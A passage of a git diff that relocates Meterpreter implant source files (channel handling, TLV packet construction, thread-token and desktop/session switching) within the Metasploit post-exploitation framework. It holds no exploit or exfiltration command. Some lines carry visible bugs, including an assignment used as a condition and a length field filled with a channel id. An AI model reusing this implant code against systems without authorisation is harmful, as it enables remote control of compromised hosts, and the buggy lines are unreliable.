channel->flags = flags; +} + +/* + * Checks to see if the supplied flag is set on the channel + */ +BOOLEAN channel_is_flag(Channel *channel, ULONG flag) +{ + return ((channel->flags & flag) == flag) ? TRUE : FALSE; +} + +/* + * Returns the channel's operational flags + */ +ULONG channel_get_flags(Channel *channel) +{ + return channel->flags; +} + +/* + * Set the channel's interactive flag + */ +VOID channel_set_interactive(Channel *channel, BOOL interactive) +{ + channel->interactive = interactive; +} + +/* + * Return the channel's interactive flag + */ +BOOL channel_is_interactive(Channel *channel) +{ + return channel->interactive; +} + +/* + * Set the buffered buffer direct IO handler + */ +VOID channel_set_buffered_io_handler(Channel *channel, LPVOID dioContext, + DirectIoHandler dio) +{ + channel_set_buffer_io_handler(&channel->ops.buffered, dioContext, dio); +} + +PVOID channel_get_buffered_io_context(Channel *channel) +{ + return channel->ops.buffered.dioContext; +} + +/* + * Write the supplied buffer to the remote endpoint of the channel. + * + * This will cause the passed buffer to be written in channel->ops.buffered on the + * remote endpoint. + */ +DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk, + ULONG chunkLength, PULONG bytesWritten) +{ + Packet *request = packet_create(PACKET_TLV_TYPE_REQUEST, + "core_channel_write"); + DWORD res = ERROR_SUCCESS; + Tlv entries[2]; + DWORD idNbo; + + do + { + // Did the allocation fail? + if (!request) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + idNbo = htonl(channel_get_id(channel)); + + entries[0].header.type = TLV_TYPE_CHANNEL_ID; + entries[0].header.length = sizeof(DWORD); + entries[0].buffer = (PUCHAR)&idNbo; + + // if the channel data is ment to be compressed, compress it! + if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) + entries[1].header.type = TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED; + else + entries[1].header.type = TLV_TYPE_CHANNEL_DATA; + + entries[1].header.length = chunkLength; + entries[1].buffer = chunk; + + // Add the TLV data + if ((res = packet_add_tlv_group(request, TLV_TYPE_CHANNEL_DATA_GROUP, entries, 2)) != ERROR_SUCCESS) + break; + + // Transmit the packet + res = packet_transmit(remote, request, NULL); + + } while (0); + + return res; +} + +/* + * Write data into the buffered buffer using the established DIO operation for + * writing. + */ +DWORD channel_write_to_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, + PULONG bytesWritten) +{ + return channel->ops.buffered.dio(channel, &channel->ops.buffered, + channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_WRITE, chunk, + chunkLength, bytesWritten); +} + +/* + * Read data from the buffered buffer using the established DIO operation for + * reading. + */ +DWORD channel_read_from_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, + PULONG bytesRead) +{ + return channel->ops.buffered.dio(channel, &channel->ops.buffered, + channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_READ, chunk, chunkLength, + bytesRead); +} + +/* + * Sets a given buffer's direct IO handler + */ +VOID channel_set_buffer_io_handler(ChannelBuffer *buffer, LPVOID context, + DirectIoHandler dio) +{ + // If no direct I/O handler is supplied, use the default + if (!dio) + { + dio = channel_default_io_handler; + context = NULL; + } + + buffer->dioContext = context; + buffer->dio = dio; +} + +/* + * Changes the native I/O context for the supplied channel + */ +VOID channel_set_native_io_context(Channel *channel, LPVOID context) +{ + NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; + + ops->context = context; +} + +/* + * Returns the native context that is associated with the channel + */ +LPVOID channel_get_native_io_context(Channel *channel) +{ + NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; + + return ops->context; +} + +/********************** + * Remote channel API * + **********************/ + +/* + * Duplicates a completion routine so it can be saved for calling back + */ +ChannelCompletionRoutine *channel_duplicate_completion_routine( + ChannelCompletionRoutine *in) +{ + ChannelCompletionRoutine *ret = NULL; + + if ((ret = (ChannelCompletionRoutine *)malloc( + sizeof(ChannelCompletionRoutine)))) + memcpy(ret, in, sizeof(ChannelCompletionRoutine)); + + return ret; +} + +/* + * Channel completion routine dispatcher + */ +DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet, + LPVOID context, LPCSTR method, DWORD result) +{ + ChannelCompletionRoutine *comp = (ChannelCompletionRoutine *)context; + DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + Channel *channel = channel_find_by_id(channelId); + DWORD res = ERROR_NOT_FOUND; + + + dprintf( "[CHANNEL] _channel_packet_completion_routine. channel=0x%08X method=%s", channel, method ); + + // If the channel was not found and it isn't an open request, return failure + if (!channel && strcmp(method, "core_channel_open")) + return ERROR_NOT_FOUND; + + if ((!strcmp(method, "core_channel_open")) && + (comp->routine.open)) + res = comp->routine.open(remote, channel, comp->context, result); + else if ((!strcmp(method, "core_channel_read")) && + (comp->routine.read)) + { + ULONG length = 0, realLength = 0; + PUCHAR buffer = NULL; + + // Get the number of bytes written + length = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + + // Allocate storage for it + if ((length) && (buffer = (PUCHAR)malloc(length))) + { + memset(buffer, 0, length); + + channel_read_from_buffered(channel, buffer, length, &realLength); + } + + res = comp->routine.read(remote, channel, comp->context, result, + buffer, realLength); + + if (buffer) + free(buffer); + } + else if ((!strcmp(method, "core_channel_write")) && + (comp->routine.write)) + { + Tlv lengthTlv; + ULONG length = 0; + + // Get the number of bytes written to the channel + if ((packet_get_tlv(packet, TLV_TYPE_LENGTH, &lengthTlv) + == ERROR_SUCCESS) && + (lengthTlv.header.length >= sizeof(DWORD))) + length = ntohl(*(LPDWORD)lengthTlv.buffer); + + res = comp->routine.write(remote, channel, comp->context, result, + length); + } + else if ((!strcmp(method, "core_channel_close")) && + (comp->routine.close)) { + dprintf( "[CHANNEL] freeing up the completion context" ); + res = comp->routine.close(remote, channel, comp->context, result); + } + else if ((!strcmp(method, "core_channel_interact")) && + (comp->routine.interact)) + res = comp->routine.interact(remote, channel, comp->context, result); + + // Deallocate the completion context + dprintf( "[CHANNEL] freeing up the completion context" ); + free(comp); + + return res; +} + +/* + * Tries to open a channel with the remote endpoint, optionally calling the + * supplied completion routine upon response. + */ +DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine) +{ + PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; + ChannelCompletionRoutine *dupe = NULL; + DWORD res = ERROR_SUCCESS; + PCHAR method = "core_channel_open"; + Packet *request; + Tlv methodTlv; + + do + { + // Allocate the request + if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the supplied TLVs + packet_add_tlvs(request, addend, addendLength); + + // If no method TLV as added, add the default one. + if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + packet_add_tlv_string(request, TLV_TYPE_METHOD, method); + } + + // Initialize the packet completion routine + if (completionRoutine) + { + // Duplicate the completion routine + dupe = channel_duplicate_completion_routine(completionRoutine); + + requestCompletion.context = dupe; + requestCompletion.routine = _channel_packet_completion_routine; + realRequestCompletion = &requestCompletion; + } + + // Transmit the packet with the supplied completion routine, if any. + res = packet_transmit(remote, request, realRequestCompletion); + + } while (0); + + return res; +} + +/* + * Read data from the remote end of the channel. + */ +DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend, + DWORD addendLength, ULONG length, + ChannelCompletionRoutine *completionRoutine) +{ + PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; + ChannelCompletionRoutine *dupe = NULL; + Packet *request; + DWORD res = ERROR_SUCCESS; + PCHAR method = "core_channel_read"; + Tlv methodTlv; + + do + { + // Allocate an empty request + if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the supplied TLVs + packet_add_tlvs(request, addend, addendLength); + + // If no method TLV as added, add the default one. + if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + packet_add_tlv_string(request, TLV_TYPE_METHOD, method); + } + + // Add the channel identifier and the length to read + packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); + packet_add_tlv_uint(request, TLV_TYPE_LENGTH, length); + + // Initialize the packet completion routine + if (completionRoutine) + { + // Duplicate the completion routine + dupe = channel_duplicate_completion_routine(completionRoutine); + + requestCompletion.context = dupe; + requestCompletion.routine = _channel_packet_completion_routine; + realRequestCompletion = &requestCompletion; + } + + // Transmit the packet with the supplied completion routine, if any. + res = packet_transmit(remote, request, realRequestCompletion); + + } while (0); + + return res; +} + +/* + * Write to the remote end of the channel + */ +DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, + DWORD addendLength, PUCHAR buffer, ULONG length, + ChannelCompletionRoutine *completionRoutine) +{ + PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; + ChannelCompletionRoutine *dupe = NULL; + DWORD res = ERROR_SUCCESS; + LPCSTR method = "core_channel_write"; + Packet *request; + Tlv methodTlv; + + do + { + // Allocate a request packet + if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the supplied TLVs + packet_add_tlvs(request, addend, addendLength); + + // If no method TLV as added, add the default one. + if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + packet_add_tlv_string(request, TLV_TYPE_METHOD, method); + } + + // Add the channel identifier and the length to write + packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); + + // if the channel data is ment to be compressed, compress it! + if (channel_is_flag(channel, CHANNEL_FLAG_COMPRESS)) + { + packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA | TLV_META_TYPE_COMPRESSED, buffer, length); + } + else + { + packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length); + } + + packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel)); + + // Initialize the packet completion routine + if (completionRoutine) + { + // Duplicate the completion routine + dupe = channel_duplicate_completion_routine(completionRoutine); + + requestCompletion.context = dupe; + requestCompletion.routine = _channel_packet_completion_routine; + realRequestCompletion = &requestCompletion; + } + + // Transmit the packet with the supplied completion routine, if any. + res = packet_transmit(remote, request, realRequestCompletion); + + } while (0); + + return res; +} + +/* + * Close the channel provided. + */ +DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend, + DWORD addendLength, ChannelCompletionRoutine *completionRoutine) +{ + PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; + ChannelCompletionRoutine *dupe = NULL; + LPCSTR method = "core_channel_close"; + DWORD res = ERROR_SUCCESS; + Packet *request; + Tlv methodTlv; + + do + { + if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the supplied TLVs + packet_add_tlvs(request, addend, addendLength); + + // If no method TLV as added, add the default one. + if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + packet_add_tlv_string(request, TLV_TYPE_METHOD, method); + } + + // Add the channel identifier + packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); + + // Initialize the packet completion routine + if (completionRoutine) + { + // Duplicate the completion routine + dupe = channel_duplicate_completion_routine(completionRoutine); + + requestCompletion.context = dupe; + requestCompletion.routine = _channel_packet_completion_routine; + realRequestCompletion = &requestCompletion; + } + + dprintf("[CHANNEL] channel_close. channel=0x%08X completion=0x%.8x", channel, completionRoutine); + + // Transmit the packet with the supplied completion routine, if any. + res = packet_transmit(remote, request, realRequestCompletion); + + } while (0); + + return res; +} + +/* + * Interact with a given channel such that data on the remote end is + * forwarded in real time rather than being polled. + */ +DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, + DWORD addendLength, BOOL enable, + ChannelCompletionRoutine *completionRoutine) +{ + PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; + ChannelCompletionRoutine *dupe = NULL; + LPCSTR method = "core_channel_interact"; + DWORD res = ERROR_SUCCESS; + Packet *request; + Tlv methodTlv; + + do + { + if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the supplied TLVs + packet_add_tlvs(request, addend, addendLength); + + // If no method TLV as added, add the default one. + if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + packet_add_tlv_string(request, TLV_TYPE_METHOD, method); + } + + // Add the channel identifier + packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); + + // Add the enable/disable boolean + packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable); + + // Initialize the packet completion routine + if (completionRoutine) + { + // Duplicate the completion routine + dupe = channel_duplicate_completion_routine(completionRoutine); + + requestCompletion.context = dupe; + requestCompletion.routine = _channel_packet_completion_routine; + realRequestCompletion = &requestCompletion; + } + + // Transmit the packet with the supplied completion routine, if any. + res = packet_transmit(remote, request, realRequestCompletion); + + } while (0); + + return res; +} + +/********************* + * Channel searching * + *********************/ + +/* + * Find a channel context by its identifier + */ +Channel *channel_find_by_id(DWORD id) +{ + Channel *current; + + for (current = channelList; current; current = current->next) + { + if (current->identifier == id) + { + break; + } + } + + return current; +} + +/* + * Insert a channel into the channel list + */ +VOID channel_add_list_entry(Channel *channel) +{ + if (channelList) + { + channelList->prev = channel; + } + + channel->next = channelList; + channel->prev = NULL; + channelList = channel; +} + +/* + * Remove a channel from the channel list + */ +VOID channel_remove_list_entry(Channel *channel) +{ + if (channel->prev) + { + channel->prev->next = channel->next; + } + else + { + channelList = channel->next; + } + + if (channel->next) + { + channel->next->prev = channel->prev; + } +} + +/* +* Determines whether the specified channel exists +*/ +BOOL channel_exists(Channel *channel) +{ + Channel *current; + + for (current = channelList; current; current = current->next) + { + if (current == channel) + { + return TRUE; + } + } + + return FALSE; +} + +/************** + * Default IO * + **************/ + +/* + * Channel default IO operations + * + * The default implementation queues and dequeues write/read operations, + * respectively. + */ +DWORD channel_default_io_handler(Channel *channel, ChannelBuffer *buffer, + LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, + PULONG bytesXfered) +{ + switch (mode) + { + case CHANNEL_DIO_MODE_READ: + channel_read_buffer(channel, buffer, chunk, length, bytesXfered); + break; + case CHANNEL_DIO_MODE_WRITE: + channel_write_buffer(channel, buffer, chunk, length, bytesXfered); + break; + default: + break; + } + + return ERROR_SUCCESS; +} + +/* + * Writes arbitrary data into a buffer, optionally allocating more memory + * as necessary. + */ +VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer, + PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten) +{ + // Is there enough storage space? + if (buffer->currentSize + chunkLength > buffer->totalSize) + { + PUCHAR newBuffer = NULL; + ULONG newSize = 0; + + // Calculate the new buffer size + newSize = buffer->currentSize + chunkLength; + newSize += CHANNEL_CHUNK_SIZE + (newSize & (CHANNEL_CHUNK_SIZE - 1)); + + // Allocate the storage for the new data + if (buffer->totalSize) + { + newBuffer = (PUCHAR)realloc(buffer->buffer, newSize); + } + else + { + newBuffer = (PUCHAR)malloc(newSize); + } + + // Allocation failure? + if (!newBuffer) + { + SAFE_FREE(buffer->buffer); + + memset(buffer, 0, sizeof(ChannelBuffer)); + + return; + } + + // Populate the buffer with the updated information + buffer->buffer = newBuffer; + buffer->totalSize = newSize; + } + + // Copy the chunk data into the buffer + memcpy(buffer->buffer + buffer->currentSize, chunk, chunkLength); + + // Update the current size + buffer->currentSize += chunkLength; + + if (bytesWritten) + { + *bytesWritten = chunkLength; + } +} + +/* + * Reads a given number of bytes from the front of the buffer, + * thus removing the data from the buffer. + */ +VOID channel_read_buffer(Channel *channel, ChannelBuffer *buffer, PUCHAR chunk, + ULONG chunkLength, PULONG bytesRead) +{ + ULONG actualSize = chunkLength; + + // Ensure that data is not read past the end of the buffer + if (actualSize > buffer->currentSize) + { + actualSize = buffer->currentSize; + } + + // Copy the front portion of the buffer into the chunk + memcpy(chunk, buffer->buffer, actualSize); + + // Move the buffer forward if there is any left + if (actualSize != buffer->currentSize) + { + memcpy(buffer->buffer, buffer->buffer + actualSize, + buffer->currentSize - actualSize); + } + + // Decrement the current used size of the buffer + buffer->currentSize -= actualSize; + + // Pass back the number of bytes actually read + if (bytesRead) + { + *bytesRead = actualSize; + } +} diff --git a/c/meterpreter/source/metsrv/channel.h b/c/meterpreter/source/metsrv/channel.h new file mode 100644 index 00000000..afe49b23 --- /dev/null +++ b/c/meterpreter/source/metsrv/channel.h @@ -0,0 +1,50 @@ +#ifndef _METERPRETER_METSRV_CHANNEL_H +#define _METERPRETER_METSRV_CHANNEL_H + +#include "common.h" + +/* + * Channel manipulation + */ +Channel *channel_create(DWORD identifier, DWORD flags); +Channel *channel_create_stream(DWORD identifier, DWORD flags, StreamChannelOps *ops); +Channel *channel_create_datagram(DWORD identifier, DWORD flags, DatagramChannelOps *ops); +Channel *channel_create_pool(DWORD identifier, DWORD flags, PoolChannelOps *ops); +VOID channel_destroy(Channel *channel, Packet *request); +DWORD channel_get_id(Channel *channel); +VOID channel_set_type(Channel *channel, PCHAR type); +PCHAR channel_get_type(Channel *channel); +DWORD channel_get_class(Channel *channel); +VOID channel_set_flags(Channel *channel, ULONG flags); +BOOLEAN channel_is_flag(Channel *channel, ULONG flag); +ULONG channel_get_flags(Channel *channel); +VOID channel_set_interactive(Channel *channel, BOOL interactive); +BOOL channel_is_interactive(Channel *channel); +DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); +DWORD channel_write_to_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); +DWORD channel_read_from_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesRead); +VOID channel_set_buffered_io_handler(Channel *channel, LPVOID dioContext, DirectIoHandler dio); +PVOID channel_get_buffered_io_context(Channel *channel); +VOID channel_set_native_io_context(Channel *channel, LPVOID context); +LPVOID channel_get_native_io_context(Channel *channel); +DWORD channel_default_io_handler(Channel *channel, ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, PULONG bytesXfered); + +/* + * Remote channel API, used for communication with remotes + * + * Each of these routines accepts a completion routine that allows for custom + * handling of the response. + */ +DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine); +DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, ULONG length, ChannelCompletionRoutine *completionRoutine); +DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine *completionRoutine); +DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine); +DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, BOOL enable, ChannelCompletionRoutine *completionRoutine); + +/* + * Channel searching + */ +Channel *channel_find_by_id(DWORD id); +BOOL channel_exists(Channel *channel); + +#endif diff --git a/c/meterpreter/source/common/core.c b/c/meterpreter/source/metsrv/core.c old mode 100755 new mode 100644 similarity index 95% rename from c/meterpreter/source/common/core.c rename to c/meterpreter/source/metsrv/core.c index 5968d097..be5acf1b --- a/c/meterpreter/source/common/core.c +++ b/c/meterpreter/source/metsrv/core.c @@ -1,1339 +1,1339 @@ -/*! - * @file core.c - * @brief Definitions of core components of the Meterpreter suite. - * @details Much of what exists in the core files is used in almost every area - * of the Meterpreter code base, and hence it's very important. Don't - * change this stuff unless you know what you're doing! - */ -#include "common.h" -#include "packet_encryption.h" -#include - -DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, - TlvType type, Tlv *tlv); - -/*! @brief List element that contains packet completion routine details. */ -typedef struct _PacketCompletionRoutineEntry -{ - LPCSTR requestId; ///< Id of the request. - PacketRequestCompletion handler; ///< Handler to call on completion. - struct _PacketCompletionRoutineEntry *next; ///< Pointer to the next compleiont routine entry. -} PacketCompletionRoutineEntry; - -/*! - * @brief Reference to the list of packet completion routines. - * @details This pointer is a singularly-linked list which contains references - * to PacketCompletionRouteEntry items, each of which is processed - * when packet_call_completion_handlers is invoked. - */ -PacketCompletionRoutineEntry *packetCompletionRoutineList = NULL; - -/*! - * @todo I have no idea why this is here, need someone else to explain. - */ -HANDLE core_update_thread_token(Remote *remote, HANDLE token) -{ - HANDLE temp = NULL; - - lock_acquire(remote->lock); - do - { - temp = remote->thread_token; - - // A NULL token resets the state back to the server token - if (!token) - { - token = remote->server_token; - } - - // Assign the thread token - remote->thread_token = token; - - // Close the old token if its not one of the two active tokens - if (temp && temp != remote->server_token && temp != remote->thread_token) - { - CloseHandle(temp); - } - } while (0); - - lock_release(remote->lock); - return(token); -} - -/*! - * @brief Update the session/station/desktop to be used by multi threaded meterpreter for desktop related operations. - * @details We dont store the handles as it is more convienient to use strings, especially as we cant use the regular API - * to break out of sessions. - * @remark It is up to the caller to free any station/desktop name provided as internally we use \c strdup. - * @param remote Pointer to the remote connection. - * @param dwSessionID ID of the session which contains the window station in \c cpStationName. - * @param cpStationName Name of the window station that contains the desktop in \c cpDesktopName. - * @param cpDesktopName Name of the desktop to switch to. - */ -VOID core_update_desktop(Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName) -{ - DWORD temp_session = -1; - char * temp_station = NULL; - char * temp_desktop = NULL; - - lock_acquire(remote->lock); - - do - { - temp_session = remote->curr_sess_id; - - // A session id of -1 resets the state back to the servers real session id - if (dwSessionID = -1) - { - dwSessionID = remote->orig_sess_id; - } - - // Assign the new session id - remote->curr_sess_id = dwSessionID; - - temp_station = remote->curr_station_name; - - // A NULL station resets the station back to the origional process window station - if (!cpStationName) - { - cpStationName = remote->orig_station_name; - } - - // Assign the current window station name to use - remote->curr_station_name = _strdup(cpStationName); - - // free the memory for the old station name if its not one of the two active names - if (temp_station && temp_station != remote->orig_station_name && temp_station != remote->curr_station_name) - { - free(temp_station); - } - - temp_desktop = remote->curr_desktop_name; - - // A NULL station resets the desktop back to the origional process desktop - if (!cpDesktopName) - { - cpDesktopName = remote->orig_desktop_name; - } - - // Assign the current window desktop name to use - remote->curr_desktop_name = _strdup(cpDesktopName); - - // free the memory for the old desktop name if its not one of the two active names - if (temp_desktop && temp_desktop != remote->orig_desktop_name && temp_desktop != remote->curr_desktop_name) - { - free(temp_desktop); - } - - } while (0); - - lock_release(remote->lock); -} - -/*! - * @brief Create a packet of a given type (request/response) and method. - * @param type The TLV type that this packet represents. - * @param method TLV method type (can be \c NULL). - * @return Pointer to the newly created \c Packet. - */ -Packet *packet_create(PacketTlvType type, LPCSTR method) -{ - Packet *packet = NULL; - BOOL success = FALSE; - - do - { - if (!(packet = (Packet *)malloc(sizeof(Packet)))) - { - break; - } - - memset(packet, 0, sizeof(Packet)); - - // Initialize the header length and message type - packet->header.length = htonl(sizeof(TlvHeader)); - packet->header.type = htonl((DWORD)type); - - // Initialize the payload to be blank - packet->payload = NULL; - packet->payloadLength = 0; - - // Add the method TLV if provided - if (method && packet_add_tlv_string(packet, TLV_TYPE_METHOD, method) != ERROR_SUCCESS) - { - break; - } - - success = TRUE; - - } while (0); - - // Clean up the packet on failure - if (!success && packet) - { - packet_destroy(packet); - - packet = NULL; - } - - return packet; -} - -/*! - * @brief Create a packet that is used to contain a subgroup. - * @returns An instance of a packet to use as a group container. - * @remarks Group packets can be used to arbitrarily nest groupings prior to - * sending the packet to the client. - */ -Packet* packet_create_group() -{ - Packet* packet = NULL; - do - { - if (!(packet = (Packet*)malloc(sizeof(Packet)))) - { - break; - } - - memset(packet, 0, sizeof(Packet)); - - // we don't need to worry about the TLV header at this point - // so we'll ignore it - - // Initialize the payload to be blank - packet->payload = NULL; - packet->payloadLength = 0; - - return packet; - } while (0); - - SAFE_FREE(packet); - - return NULL; -} - -/*! - * @brief Add a group packet to the parent packet. - * @param packet Pointer to the container packet that the group is to be added to. - * @param type The type of group packet being added. - * @param groupPacket the packet containing the group data (created by `packet_create_group`). - * @returns Indication of success or failure. - * @remarks The function calls `packet_destroy` on the `groupPacket` if adding the packet succeeds. - */ -DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket) -{ - DWORD result = packet_add_tlv_raw(packet, type, groupPacket->payload, groupPacket->payloadLength); - if (result == ERROR_SUCCESS) - { - packet_destroy(groupPacket); - return ERROR_SUCCESS; - } - - return result; -} - -/*! - * @brief Create a response packet from a request. - * @details Create a response packet from a request, referencing the requestors - * message identifier. - * @param request The request \c Packet to build a response for. - * @return Pointer to a new \c Packet. - */ -Packet *packet_create_response(Packet *request) -{ - Packet *response = NULL; - Tlv method, requestId; - BOOL success = FALSE; - PacketTlvType responseType; - - if (packet_get_type(request) == PACKET_TLV_TYPE_PLAIN_REQUEST) - { - responseType = PACKET_TLV_TYPE_PLAIN_RESPONSE; - } - else - { - responseType = PACKET_TLV_TYPE_RESPONSE; - } - - do - { - // Get the request TLV's method - if (packet_get_tlv_string(request, TLV_TYPE_METHOD, &method) != ERROR_SUCCESS) - { - vdprintf("[PKT] Can't find method"); - break; - } - - // Try to allocate a response packet - if (!(response = packet_create(responseType, (PCHAR)method.buffer))) - { - vdprintf("[PKT] Can't create response"); - break; - } - - // Get the request TLV's request identifier - if (packet_get_tlv_string(request, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) - { - vdprintf("[PKT] Can't find request ID"); - break; - } - - // Add the request identifier to the packet - packet_add_tlv_string(response, TLV_TYPE_REQUEST_ID, (PCHAR)requestId.buffer); - - // If the packet that is being handled is considered local, then we - // associate the response with the request so that it can be handled - // locally (and vice versa) - if (request->local) - { - request->partner = response; - response->partner = request; - } - - success = TRUE; - - } while (0); - - // Cleanup on failure - if (!success) - { - if (response) - { - packet_destroy(response); - } - - response = NULL; - } - - return response; -} - -/*! - * @brief Destroy the packet context and the payload buffer. - * @param packet Pointer to the \c Packet to destroy. - */ -VOID packet_destroy(Packet * packet) -{ - if (packet == NULL) - { - return; - } - - if (packet->payload) - { - memset(packet->payload, 0, packet->payloadLength); - free(packet->payload); - } - - if (packet->decompressed_buffers) - { - while (TRUE) - { - DECOMPRESSED_BUFFER * buf = list_pop(packet->decompressed_buffers); - if (!buf) - { - break; - } - - if (buf->buffer) - { - memset(buf->buffer, 0, buf->length); - free(buf->buffer); - } - - free(buf); - } - - list_destroy(packet->decompressed_buffers); - } - - memset(packet, 0, sizeof(Packet)); - - free(packet); -} - -/*! - * @brief Add a string value TLV to a packet, including the \c NULL terminator. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param str Pointer to the string value to add to the packet. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str ) -{ - return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1); -} - -/*! - * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param str Pointer to the wide-string value to add to the packet. - * @param strLength of the string (not including the NULL terminator). - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength) -{ - DWORD dwResult; - LPSTR lpStr = (LPSTR)malloc(strLength + 1); - - if (lpStr) - { - wcstombs(lpStr, str, strLength); - lpStr[strLength] = 0; - dwResult = packet_add_tlv_raw(packet, type, (PUCHAR)lpStr, (DWORD)strLength + 1); - free(lpStr); - } - else - { - dwResult = ERROR_NOT_ENOUGH_MEMORY; - } - - return dwResult; -} - -/*! - * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param str Pointer to the wide-string value to add to the packet. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str) -{ - return packet_add_tlv_wstring_len(packet, type, str, wcslen(str)); -} - -/*! - * @brief Add a unsigned integer value TLV to a packet. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param val The value to add to the packet. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val) -{ - val = htonl(val); - - return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(val)); -} - -/*! - * @brief Add a quad-work value TLV to a packet. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param val The value to add to the packet. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val) -{ - val = htonq(val); - - return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(QWORD)); -} - -/*! - * @brief Add a boolean value TLV to a packet. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param val The value to add to the packet. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_bool(Packet *packet, 